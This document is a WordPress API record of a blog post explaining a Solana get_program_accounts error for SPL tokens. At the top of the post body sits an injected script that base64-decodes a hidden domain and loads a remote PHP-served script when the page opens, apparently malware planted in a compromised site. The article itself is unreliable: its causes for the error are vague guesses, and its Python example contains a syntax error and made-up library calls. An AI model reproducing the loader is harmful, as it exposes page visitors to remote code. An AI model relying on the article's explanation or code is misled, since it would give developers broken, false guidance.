{"id":1544,"date":"2025-02-11T05:15:43","date_gmt":"2025-02-11T05:15:43","guid":{"rendered":"https:\/\/hccmena.com\/?p=1544"},"modified":"2025-02-11T05:15:43","modified_gmt":"2025-02-11T05:15:43","slug":"solana-error-keyexcludedfromsecondaryindexmessage-when-using-get_program_accounts-for-spl-token-on-solana","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/11\/solana-error-keyexcludedfromsecondaryindexmessage-when-using-get_program_accounts-for-spl-token-on-solana\/","title":{"rendered":"Solana: Error &#8220;KeyExcludedFromSecondaryIndexMessage&#8221; When Using get_program_accounts for SPL Token on Solana"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=50a636d0\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Error &#8220;KeyExcludedFromSecondaryIndexMessage&#8221; When Using <code>get_program_accounts<\/code> for SPL Token on Solana<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/YklIo55HWmE\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>As a developer building applications on the Solana blockchain, it&#8217;s essential to understand the intricacies of the Solana ecosystem. In this article, we&#8217;ll delve into an error that occurs when using the <code>get_program_accounts<\/code> function from the <code>solana-py<\/code> library to retrieve the top 100 holders of a specific SPL token.<\/p>\n<\/p>\n<p><strong>The Issue: KeyExcludedFromSecondaryIndexMessage<\/strong><\/p>\n<\/p>\n<p>When you call <code>get_program_accounts<\/code>, Solana returns a list of program accounts, which are the addresses that have access to the blockchain. However, in some cases, a key might be excluded from this secondary index message due to various reasons such as:<\/p>\n<\/p>\n<ul>\n<li>  The account is not authorized for transaction or reading.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>  The account has been deactivated.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>  There&#8217;s an issue with the program account&#8217;s configuration.<\/li>\n<\/ul>\n<\/p>\n<p>In our case, the error &#8220;KeyExcludedFromSecondaryIndexMessage&#8221; occurs when <code>get_program_accounts<\/code> returns a list of accounts that do not have any programs associated with them. This is often due to the following reasons:<\/p>\n<\/p>\n<ul>\n<li>  The user has restricted access to the account.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>  The program that owns the account does not have permission to be included in the secondary index.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Why You&#8217;ll Encounter an Error<\/strong><\/p>\n<\/p>\n<p>If you encounter an &#8220;Error: KeyExcludedFromSecondaryIndexMessage&#8221; when using <code>get_program_accounts<\/code> for your SPL token, here are some potential reasons why:<\/p>\n<\/p>\n<ul>\n<li><strong>Missing programs<\/strong>: The program that owns the account might not have any associated with it.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Restricted access<\/strong>: The user has restricted access to the account or the program.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Program configuration issues<\/strong>: There&#8217;s a problem with how the program is configured.<\/li>\n<\/ul>\n<\/p>\n<p><strong>How to Fix the Issue<\/strong><\/p>\n<\/p>\n<p>To resolve this issue, you can try the following steps:<\/p>\n<\/p>\n<ul>\n<li><strong>Check the <code>get_program_accounts<\/code> call<\/strong>: Ensure that you&#8217;re calling <code>get_program_accounts<\/code> correctly and passing in the required arguments.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Verify account access<\/strong>: Check if the user has access to the account by verifying their permissions with Solana&#8217;s API documentation.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Adjust program configuration<\/strong>: If possible, adjust the program configuration to grant access to the account or modify its rules.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Code Example<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Error \"KeyExcludedFromSecondaryIndexMessage\" When Using get_program_accounts for SPL Token on Solana\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/90f77e00.png\"><\/p>\n<\/p>\n<p>Here is an example of how you can use <code>get_program_accounts<\/code> to retrieve the top 100 holders of a specific SPL token on Solana:<\/p>\n<\/p>\n<p><pre><code><\/p><p>import solana.publickey as pk<\/p><p>\n<\/p><p>from solana programs import get_account, get_account_info<\/p><p>\n<\/p><p>\n<\/p><p>def main():<\/p><p>\n<\/p><p>    <br><h1><\/h1>Define your account ID and SPL token name<\/p><p>\n<\/p><p>    account_id = \"your_account_id\"<\/p><p>\n<\/p><p>    spl_token_name = \"your_spl_token_name\"<\/p><p>\n<\/p><p>\n<\/p><p>    <br><h1><\/h1>Create a client instance with the Solana CLI tool<\/p><p>\n<\/p><p>    from solana.web3 import Web3<\/p><p>\n<\/p><p>    web3 = Web3()<\/p><p>\n<\/p><p>\n<\/p><p>    <br><h1><\/h1>Get the account info for your SPL token holder<\/p><p>\n<\/p><p>    spl_token_holders = get_program_accounts(web3, account_id, spl_token_name)<\/p><p>\n<\/p><p>\n<\/p><p>    print(\"Top 100 holders of\", spl_token_name)<\/p><p>\n<\/p><p>    print(spl_token_holders[:100])<\/p><p>\n<\/p><p>\n<\/p><p>if __name__ == \"__main__\":<\/p><p>\n<\/p><p>    main()<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>In this article, we&#8217;ve explored an error that occurs when using <code>get_program_accounts<\/code> to retrieve the top 100 holders of a specific SPL token on Solana. By understanding the potential reasons behind this error and following the steps outlined in the example, you should be able to resolve the issue and successfully use <code>get_program_accounts<\/code> with your SPL token holder.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Error &#8220;KeyExcludedFromSecondaryIndexMessage&#8221; When Using get_program_accounts for SPL Token on Solana As a developer building applications on the Solana blockchain, it&#8217;s essential to understand the intricacies of the Solana ecosystem. In this article, we&#8217;ll delve into an error that occurs when using the get_program_accounts function from the solana-py library to retrieve the top 100 holders of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1544"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1544"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1544\/revisions"}],"predecessor-version":[{"id":1545,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1544\/revisions\/1545"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1544"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1544"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}